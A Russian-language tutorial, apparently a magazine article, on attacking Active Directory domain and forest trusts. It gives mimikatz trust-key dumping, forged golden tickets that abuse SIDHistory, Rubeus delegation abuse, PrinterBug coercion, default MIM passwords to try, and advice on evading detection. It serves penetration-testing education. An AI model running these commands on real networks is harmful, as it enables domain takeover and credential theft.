Дальше в лес. Как работают атаки на доверенные отношения доменов и лесов AD

MichelleVermishelle

Active Directory поз­воля­ет стро­ить сети со слож­ной архи­тек­турой, вклю­чающей нес­коль­ко доменов и лесов, которые под­держи­вают опре­делен­ную иерар­хию вза­имно­го доверия. Подоб­ные сис­темы неидеаль­ны с точ­ки зре­ния безопас­ности, и, хорошо раз­бира­ясь в их устрой­стве, взлом­щик может получить к ним несан­кци­они­рован­ный дос­туп. В этой статье мы раз­берем нес­коль­ко видов атак на отно­шения доменов и лесов в Active Directory.

Мно­жес­тво ком­паний исполь­зует сре­ду Active Directory для адми­нис­три­рова­ния сети сво­ей орга­низа­ции. Ком­пании рас­тут, домен рас­ширя­ется, и рано или поз­дно нас­тупа­ет момент, ког­да тре­бует­ся соз­дать в домене дру­гие домены, что­бы раз­гра­ничить поль­зовате­лей, обя­зан­ности, да и, в кон­це кон­цов, позабо­тить­ся о безопас­ности.

До­пус­тим, у нас есть ком­пания MISHA Corporation. У нее может быть домен misha.local для адми­нис­тра­торов, bank.misha.local для финан­сового отде­ла, dev.misha.local для раз­работ­чиков и так далее.

До­верие меж­ду дву­мя домена­ми может быть двус­торон­ним — поль­зовате­ли домена bank.misha.local могут получать дос­туп к ресур­сам dev.misha.local, а поль­зовате­ли dev.misha.local — к bank.misha.local. А может быть односто­рон­ним — в таком слу­чае лишь поль­зовате­ли одно­го опре­делен­ного домена име­ют дос­туп к ресур­сам дру­гого. Допус­тим, учет­ные записи домена dev.misha.local могут ходить в домен bank.misha.local, а вот поль­зовате­ли bank.misha.local в dev.misha.local не могут.

На­ша прек­расная ком­пания про­дол­жает рас­ширять­ся и покупа­ет дру­гую ком­панию, назовем ее MYCRASOFT Corporation. У этой фир­мы так­же есть домен — mycra.local, в нем име­ются поль­зовате­ли, сер­висы, груп­пы. Все нас­тро­ено и отлично работа­ет. Само собой, теперь поль­зовате­лям домена misha хотелось бы получить дос­туп к это­му домену. Здесь мы плав­но перехо­дим к понятию леса.

Лес — самая круп­ная струк­тура в AD. Внут­ри леса находят­ся деревья — некий набор доменов (misha.local, bank.misha.local, dev.misha.local). Меж­ду лесами так­же мож­но нас­тро­ить как односто­рон­нее, так и двус­торон­нее доверие.

Мы рас­смот­рим безопас­ность этих доверен­ных отно­шений. Опи­шем набор атак — от прос­тых к слож­ным — и раз­берем такие темы, как SID Filtering, PAM Trust, TGT Delegation.

Ког­да я пишу «меж­ду лесами», я имею в виду ата­ку, которая выпол­няет­ся из одно­го леса на дру­гой, нап­ример misha.local <-> priv.local. Если я пишу «меж­ду домена­ми», то я имею в виду ата­ку меж­ду деревь­ями (dev.misha.local <-> misha.local). Что­бы понимать, о чем тут идет речь, читате­лю нуж­но раз­бирать­ся в Kerberos, делеги­рова­нии, а так­же иметь базовые зна­ния в Active Directory, так как статья не пред­полага­ет объ­ясне­ние этих тех­нологий, а лишь рас­смат­рива­ет их воз­можные недос­татки.

РАЗВЕДКА

Сна­чала пред­лагаю опре­делить мас­штаб проб­лемы. Иног­да мы будем исполь­зовать PowerView и Active Directory Module для перечис­ления объ­ектов.

Леса

Вы­явить все отно­шения меж­ду лесами поможет встро­енный инс­тру­мент nltest:

nltest /domain_trusts

Из вывода мы видим, что в иссле­дуемой сети целых три леса. Меж­ду ними все­ми уста­нов­лено двус­торон­нее доверие, а production.local име­ет атри­бут enable_tgt, о котором мы погово­рим нем­ного поз­же.

Со­берем чуть боль­ше информа­ции с помощью сле­дующих инс­тру­мен­тов:

# Получить информацию о лесе # PowerView Get-Forest Get-Forest -Forest priv.local # AD Module Get-ADForest Get-ADForest -Identity priv.local# Получить все домены в лесе # PowerView # PowerView v3 Get-ForestDomain Get-ForestDomain -Forest priv.local # PowerView v2 Get-NetForestDomain -Verbose Get-NetForestDomain -Forest priv.local # AD Module (Get-ADForest).Domains

Домены

Ко­неч­но же, мы можем исполь­зовать nltest с при­веден­ным выше син­такси­сом, что­бы узнать отно­шения и внут­ри леса, но рас­смот­рим вари­ант с PowerView и AD Module:

# PowerView #v3 Get-DomainTrust Get-DomainTrust -Domain priv.local Get-DomainTrust -SearchBase GC://priv.local # v2 Get-NetDomainTrust -Domain priv.local # Найти все внешние (external) доверия в текущем лесе Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}# AD Module Get-ADTrust Get-ADTrust -Identity priv.local

По­лучен­ный нами вывод показы­вает свя­зи и отно­шения внут­ри леса в иссле­дуемой сети.

TRUST KEYS

Домены

Обес­печива­ет безопас­ность спе­циаль­ный ключ — ключ доверия, который авто­мати­чес­ки генери­рует­ся при соз­дании отно­шений. При уста­нов­лении доверия в каж­дом домене соз­дает­ся свя­зан­ный поль­зователь­ский объ­ект для хра­нения клю­ча доверия. Имя поль­зовате­ля — это NetBIOS-имя дру­гого домена, которое закан­чива­ется сим­волом $ (ана­логич­но име­ни учет­ной записи компь­юте­ра). Нап­ример, в слу­чае доверия меж­ду домена­ми misha.local и mycra.local домен misha будет хра­нить ключ доверия в поль­зовате­ле mycra$, а домен mycra будет хра­нить его в поль­зовате­ле misha$.

Мы можем извлечь этот ключ, сдам­пив ntds.dit, нап­ример с помощью mimikatz (мы дол­жны находить­ся в высокоп­ривиле­гиро­ван­ном кон­тек­сте):

privilege::debug lsadump::trust /patch

Так­же ключ мож­но извлечь из хра­нили­ща lsa:

lsadump::lsa /patch

Меж­ду домена­ми по умол­чанию всег­да при­меня­ется шиф­рование AES, а меж­ду лесами — RC4. В свя­зи с этим мы дол­жны исполь­зовать хеш NTLM, если генери­руем билет для даль­нейше­го прод­вижения по лесам. И, соот­ветс­твен­но, ключ AES, если переме­щаем­ся меж­ду домена­ми.

Ре­зон­ный воп­рос: зачем так ухищ­рять­ся, если при исполь­зовании NTLM прос­то про­изой­дет даун­грейд до RC4? Ответ прост: генери­ровать билет подоб­ным обра­зом сле­дует для боль­шей скрыт­ности от сис­тем защиты. Сов­ремен­ные СЗИ уме­ют детек­тировать пониже­ние шиф­рования «Кер­бероса» до RC4, в свя­зи с этим исполь­зуй AES, если жела­ешь оста­вать­ся невидим­кой.

Ге­нери­ровать билет для дос­тупа к ресур­сам дру­гого домена или леса мож­но вот так:

kerberos::golden /domain:<текущий домен> /sid:<SID_текущего_домена> /sids:<SID_enterprise_admins корневого или атакуемого домена> /rc4:<domain_trust_key> /user:<на чье имя билет> /service:<на какой сервис> /target:<FQDN целевого домена> /ticket:ticket.kirbi kerberos::golden /domain:priv.local /sid:S-1-5-21-210670787-2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /rc4:e5051441f6b1b81bc9de55f1ef3eda26d /user:Administrator /service:krbtgt /target:megabank.local /ticket:ticket.kirbi

За­чем нам нуж­на опция /sids? Это называ­ется ата­кой SIDHistory. Если очень корот­ко, то дан­ный атри­бут слу­жит для сце­нари­ев миг­рации. Мы записы­ваем в билет, что поль­зователь, ука­зан­ный фла­гом /user, при­над­лежит груп­пе с SID, ука­зан­ной с помощью /sids. В ней луч­ше все­го ука­зывать SID груп­пы Enterprise Admins, получен­ный с кор­невого либо ата­куемо­го домена (домен dev.misha.local, кор­невой для него — misha.local). Сде­лать это мож­но вот так:

dsquery * "CN=Enterprise Admins,CN=Users,DC=megabank,DC=local" -attr objectsid # AD Module Get-ADGroupMember -Identity 'Enterprise Admins' -Server megabank.local # PowerView Get-DomainGroup -Identity 'Enterprise Admins' -Domain megabank.local | select ObjectSid

На­конец, исполь­зуя получен­ный тикет, мож­но зап­рашивать TGS на сер­висы дру­гого домена:

.\Rubeus.exe asktgs /ticket:ticket.kirbi /service:CIFS/dc.megabank.local /dc:dc.megabank.local /ptt

Леса

А теперь пора погово­рить о под­водных кам­нях. Казалось бы, в ата­ке нет ничего слож­ного. Да, дей­стви­тель­но, меж­ду домена­ми она сра­бота­ет без проб­лем, но, как толь­ко мы нач­нем ата­ковать леса, стол­кнем­ся с раз­дра­жающим Access Denied. Пом­нишь ли ты про опцию /sids? Наша беда зак­люча­ется имен­но в ней.

Воз­можно, мы суме­ем получить дос­туп к каким‑либо ресур­сам в дру­гом лесе, но зачас­тую количес­тво этих ресур­сов будет огра­ниче­но, если у нас вооб­ще что‑то получит­ся. Проб­лема кро­ется в так называ­емом SID Filtering — спе­циаль­ной сис­теме, которая филь­тру­ет из SIDHistory пересе­кающие гра­ницу леса SID с высоки­ми при­виле­гиями, не поз­воляя получить дос­туп куда‑либо. У груп­пы Enterprise Admins по умол­чанию RID сос­тавля­ет 519. Да и в прин­ципе у всех более‑менее при­виле­гиро­ван­ных групп RID < 1000. Ты уже догадал­ся, как мы будем обхо­дить это огра­ниче­ние?

Сна­чала пред­лагаю про­верить наличие это­го самого SID Filtering:

# AD Module Get-ADTrust -Filter *

Зна­чение SIDFilteringForestAware уста­нов­лено в True. В свя­зи с этим мы дол­жны будем най­ти груп­пы, у которых RID > 1000. Эти груп­пы мы внед­рим в SIDHistory и смо­жем получить дос­туп к дру­гому лесу.

Ис­кать мож­но сле­дующим обра­зом:

# AD Module Get-ADGroup -Filter 'SID -ge "<SID атакуемого леса>-1000"' -Server <атакуемый лес>

Ви­дим инте­рес­ную груп­пу EUAdmins с SID S-1-5-21-4066061358-3942393892-617142613-1103, поэто­му генери­руем тикет, как опи­сано выше, но ука­зывая в SIDHistory SID этой груп­пы.

Выдаем себя за контроллер домена

Те­перь ты зна­ешь, что такое SIDHistory, поэто­му мы можем даже выдать себя за кон­трол­лер домена:

kerberos::golden /user:<имя УЗ текущего ДК> /domain:<текущий домен> /sid:<SID текущего домена> /groups:516 /krbtgt:<krbtgt-хеш текущего домена> /sids:<SID группы Domain Controllers>,S-1-5-9 /ptt

Оп­цией /groups:516 мы ука­зали RID груп­пы кон­трол­леров домена, а /sids:S-1-5-9 — груп­па Enterprise Domain Controllers. Ты можешь поэк­спе­римен­тировать со стан­дар­тны­ми SID, их струк­туры пред­став­лены здесь.

Неограниченное делегирование

Как я уже ска­зал, не буду вда­вать­ся в теоре­тичес­кие под­робнос­ти неог­раничен­ного делеги­рова­ния — у «Хакера» есть прек­расный цикл ста­тей по безопас­ности AD от авто­ра Ralf Hacker, который рас­смат­рива­ет эту тех­нологию в том чис­ле. Мы же взгля­нем на нее как на допол­нитель­ный век­тор ата­ки на отно­шения.

Между доменами

По умол­чанию на всех кон­трол­лерах домена вклю­чено неог­раничен­ное делеги­рова­ние. В свя­зи с этим мы можем «зас­тавить» ата­куемый кон­трол­лер домена обра­тить­ся к нашим ресур­сам, допус­тим с помощью PrinterBug или PetitPotam. Син­таксис будет при­мер­но сле­дующий:

# Запускаем монитор «Рубеуса»Rubeus.exe monitor /targetuser:dc01$ /internal:5 /nowrap# Триггерим PrinterBugMS-RPRN.exe \\<атакуемый КД> \\<наш КД с неограниченным делегированием>MS-RPRN.exe \\dc01.megabank.local \\dc02.priv.local

Между лесами

Здесь нас опять будут под­жидать сюр­при­зы! Не так дав­но Microsoft оза­боти­лась этой проб­лемой. Сог­ласись, как‑то не очень хорошо, если хакеры лома­ют малень­кий лес ком­пании mycra.local, а потом переб­расыва­ются на боль­шой — misha.local. Поэто­му появил­ся механизм TGT Delegation. Если очень корот­ко, то этот механизм пре­дот­вра­щает хож­дение кон­трол­лера домена со сво­им TGT в дру­гой лес, поэто­му его бес­полез­но триг­герить с помощью PrinterBug, PetitPotam или любым дру­гим спо­собом.

Сна­чала тре­бует­ся обна­ружить, вклю­чен ли TGT Delegation (вдруг еще не все так пло­хо?):

netdom trust <атакуемый лес> /domain:<текущий лес> /EnableTgtDelegation # AD Module Get-ADTrust -server <атакуемый лес> -Filter * Get-ADTrust -Filter {Direction -eq "Inbound"} | ft Name,TGTDelegation

Нам повез­ло — production.local исполь­зует TGT Delegation. Зна­чит, мы можем триг­герить кон­трол­лер это­го домена на наш кон­трол­лер, хотя по умол­чанию вклю­чена нас­трой­ка TGTDelegation: False.

По­это­му КД домена megabank.local мы не смо­жем зас­тавить схо­дить к нам.

Так­же если мы каким‑то обра­зом получи­ли дос­туп с пра­вами ДА/ЛА на ата­куемом КД, то мы можем при­нуди­тель­но вклю­чить TGT Delegation, что сде­лает лес уяз­вимым:

netdom trust <текущий (атакуемый) лес> /domain:<лес, из которого будем атаковать> /EnableTGTDelegation:Yes netdom trust megabank.local /domain:priv.local /EnableTGTDelegation:Yes

Пос­ле не забудь отклю­чить сле­дующие фун­кции:

netdom trust megabank.local /domain:priv.local /EnableTGTDelegation:No

Ограниченное делегирование

С огра­ничен­ным делеги­рова­нием все дос­таточ­но прос­то. Сна­чала ищем нуж­ные УЗ в дру­гом домене/лесе:

# PowerView Get-DomainUser –TrustedToAuth -Domain eu.local Get-DomainComputer –TrustedToAuth -Domain eu.local # AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server eu.local

Ви­дим, что неко­ему storagesvc раз­решено делеги­ровать time/EU-DC.eu.local. При этом, напоми­наю, сер­висная часть билета не под­писыва­ется. Как следс­твие, мы можем изме­нить time на cifs или ldap:

Rubeus.exe s4u /user:<юзер с ограниченным делегированием> /rc4:<хеш юзера с ограниченным делегированием> /impersonateuser:<чей билет хотим получить> /domain:<атакуемый домен> /msdsspn:<сервис>/<комп, на который разрешено делегирование> /altservice:<на какой еще сервис хотим получить доступ> /dc:<dc атакуемого домена> /ptt Rubeus.exe s4u /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC /impersonateuser:Administrator /domain:eu.local /msdsspn:cifs/eu-dc.eu.local /altservice:ldap /dc:eu-dc.eu.local /ptt

PAM TRUST

Privileged Access Management был пред­став­лен в Windows Server 2016. По мне­нию Microsoft, он помога­ет «смяг­чить проб­лемы безопас­ности в сре­дах Active Directory». Сей­час мы обра­тим­ся к сай­ту Microsoft, раз­берем этот механизм, а потом рас­смот­рим, как мож­но обой­ти огра­ниче­ния.

PAM пред­став­ляет собой допол­нитель­ный лес адми­нис­тра­торов (лес Bastion). К дан­ному лесу нас­тро­ено доверие PAM Trust от дру­гого леса (лес Corp). А управле­ние ведет­ся с помощью MIM (Microsoft Identity Management). MIM соз­дает допол­нитель­ные теневые прин­ципалы безопас­ности (shadow security principal) в лесе Bastion — это груп­пы, поль­зовате­ли и компь­юте­ры, которые сопос­тавля­ются с теми же груп­пами, поль­зовате­лями и компь­юте­рами в лесе Corp (то есть в лесе, который доверя­ет Bastion по PAM Trust). Это поз­воля­ет управлять дру­гими лесами без изме­нений в ACL и без инте­рак­тивно­го вхо­да в сис­тему.

Обнаружение

Об­наружить PAM-доверие нес­ложно. Оно всег­да односто­рон­нее — к лесу адми­нис­тра­торов из обыч­ного леса. Под обыч­ным лесом я под­разуме­ваю прос­то какой‑то лес, который управля­ется лесом адми­нис­тра­торов. У такого доверия в свой­ствах EnableSIDHistory и EnablePIMTrust ука­зано зна­чение yes. Пер­вое поз­воля­ет встав­лять SID обыч­ного леса в билеты леса адми­нис­тра­торов, вто­рое — исполь­зовать SID даже с высоки­ми при­виле­гиями (нап­ример, Enterprise Admins). Бла­года­ря это­му авто­мати­чес­ки обхо­дит­ся SID Filtering.

Проверка, не в бастионном лесе ли мы

Ес­ли вдруг мы ском­про­мети­рова­ли лес адми­нис­тра­торов (Bastion), то мы так­же смо­жем получить дос­туп ко всем обыч­ным лесам, которы­ми управля­ет этот лес (в нашем при­мере это лес Corp).

Мы можем про­верить, не находим­ся ли мы в лесе адми­нис­тра­торов. У это­го леса име­ются сле­дующие приз­наки: для доверия ForestTransitive уста­нов­лено зна­чение True, в SIDFilteringQuarantined — False (что озна­чает, что филь­тра­ция SID отклю­чена), а так­же у него есть нуж­ные атри­буты доверия:

# AD Module Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

Что­бы нам было про­ще отли­чить PAM Trust, рас­смот­рим два при­мера.

Здесь мы видим, что bastion.local име­ет Outbound-доверие к techcorp.local. То есть поль­зовате­ли techcorp.local могут получать дос­туп к ресур­сам bastion.local. Это не PAM Trust. Это прос­то лес с тран­зитив­ным довери­ем и отклю­чен­ной филь­тра­цией SID.

Вто­рой при­мер.

Здесь мы видим, что bastion.local име­ет Inbound-доверие от production.local. То есть поль­зовате­ли bastion.local могут получать дос­туп к ресур­сам production.local. Это уже похоже на PAM Trust. Вни­матель­ный читатель спро­сит: «Миша, а что за атри­буты доверия?» Мы рас­смот­рим их поз­же.

Что­бы быть уве­рен­ными, что мы дей­стви­тель­но находим­ся в бас­тион­ном лесе, мы дол­жны поп­робовать перечис­лить shadow security principals. Эти объ­екты соз­дают­ся в спе­циаль­ном кон­тей­нере. Если объ­екты есть, это зна­чит, что наше пред­положе­ние вер­но:

# AD Module Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

Вы­вод на скрин­шоте выше под­твержда­ет наши догад­ки. Мы видим, что перед нами груп­па prodforest-ShadowEnterpriseAdmin, а учас­тни­ком этой груп­пы явля­ется поль­зователь Administrator домена bastion.local. Но сто­ит отме­тить, что членс­тво в таких груп­пах непос­тоян­ное. Если вывод пуст, мы дол­жны вре­мя от вре­мени про­верять, какой поль­зователь добавил­ся в эту груп­пу. Так­же мож­но обра­тить вни­мание на груп­пу msDS-ShadowPrincipalSid. Как мы видим, у этой груп­пы rid 519, что соот­ветс­тву­ет стан­дар­тно­му RID груп­пы Enterprise Admins.

Проверяем, не управляется ли текущий лес каким-то другим по PAM Trust

Мы так­же можем выяс­нить, управля­ется ли наш текущий лес бас­тион­ным лесом. Перечис­лим все трас­ты, которые могут быть похожи на PAM Trust:

# AD Module Get-ADTrust -Filter {(ForestTransitive -eq $True)}

Мы видим, что production.local име­ет Outbound-доверие к bastion.local, то есть доверя­ет ему. Теперь сто­ит обра­тить вни­мание на TrustAttributes.

На PAM Trust будут ука­зывать два зна­чения:

• 1024 (0x00000400) — доверие PAM Trust и External Trust (внеш­нее доверие);
• 1096 — это и PAM Trust, и External Trust (внеш­нее доверие), и Forest Transitive.

Так­же PAM Trust всег­да односто­рон­ний (от обыч­ного леса к лесу адми­нов). Если мы сом­нева­емся, PAM Trust ли это, то можем поп­робовать узнать ОС кон­трол­леров домена леса, которо­му доверя­ет наш лес. Если это Windows Server 2016 и выше, то воз­можен PAM Trust, если ниже, то абсо­лют­но точ­но нет.

Дополнительные проверки и новые угрозы

Ес­ли ты пос­мотрел в до­кумен­тации Microsoft, как соз­давать PAM Trust, то, ско­рее все­го, заметил сле­дующие коман­ды:

import-module activedirectory$sp = ConvertTo-SecureString "Pass@word1" –asplaintext –forceNew-ADUser –SamAccountName MIMMA –name MIMMA....

Этой коман­дой соз­дают­ся допол­нитель­ные слу­жеб­ные поль­зовате­ли в лесе адми­нис­тра­торов, которые тре­буют­ся для управле­ния MIM.

Ес­ли в домене при­сутс­тву­ет один из сле­дующих поль­зовате­лей, это нам­ного уве­личи­вает шан­сы того, что перед нами лес адми­нис­тра­торов:

# PowerView # v2 Get-NetUser -Domain priv.local # v3 Get-DomainUser -Domain priv.local# AD Module Get-ADUser -Filter * -Properties * -Server priv.localMIMMA <- 100% лес админов MIMMonitor <- 100% лес админов MIMComponent <- 100% лес админов MIMSync <- 100% лес админов MIMService <- 100% лес админов <- Входит в группу ДА MIMAdmin <- 100% лес админов SharePoint <- Входит в группу ДА SqlServer BackupAdmin

Все эти учет­ные записи сто­ит про­верить с паролем Pass@word1. Так­же, если мы наш­ли учет­ки PRIV.pamRequestor или pamrequestor, име­ет смысл поп­робовать пароли L0ngP@ssw0rd и L0ngP@ssw0rd1. Ко все­му про­чему у всех этих поль­зовате­лей нас­тро­ен SPN, поэто­му мы можем ата­ковать их с исполь­зовани­ем ата­ки Kerberoasting.

ЭКСПЛУАТАЦИЯ

Что­бы зло­упот­ребить PAM Trust, мы дол­жны получить поль­зовате­ля, который вхо­дит в кон­тей­нер CN=Shadow Principal Configuration,CN=Services. Сна­чала тре­бует­ся най­ти поль­зовате­лей из это­го кон­тей­нера:

# AD Module Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services,DC=priv,DC=local" -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

Я уже рас­ска­зывал выше, что озна­чает дан­ный вывод. Как толь­ко мы смо­жем ском­про­мети­ровать поль­зовате­ля из это­го кон­тей­нера (member), получим дос­туп, который име­ет прин­ципал, ука­зан­ный в msDS-ShadowPrincipalSid. В нашем при­мере это будет дос­туп, который име­ют учас­тни­ки груп­пы Enterpise Admins.

Мы можем получить дос­туп к обыч­ному лесу с помощью PowerShell, WMI и дру­гих подоб­ных инс­тру­мен­тов без вво­да учет­ных дан­ных. Для RDP нам при­дет­ся их вво­дить.

Об­рати вни­мание: если шиф­рование Kerberos AES не вклю­чено для доверия, нам нуж­но изме­нить свой­ство WSMan TrustedHosts и исполь­зовать аутен­тифика­цию Negotiate для PSRemoting:

# production.local — это управляемый лес. Мы находимся в бастионномEnter-PsSession dc.production.local -Authentication NegotiateWithImplicitCredential

Дру­гой вари­ант — исполь­зовать SIDHistory (опция /sids в мимике). Доверие PAM поз­воля­ет SID с высоки­ми при­виле­гиями пересе­кать доверие леса, которое обыч­но филь­тру­ется с помощью SIDFiltering.

ЗАКЛЮЧЕНИЕ

Вот такой корот­кой получи­лась статья. Я наде­юсь, что смог дос­таточ­но понят­ным язы­ком рас­ска­зать о слож­ных кон­цепци­ях.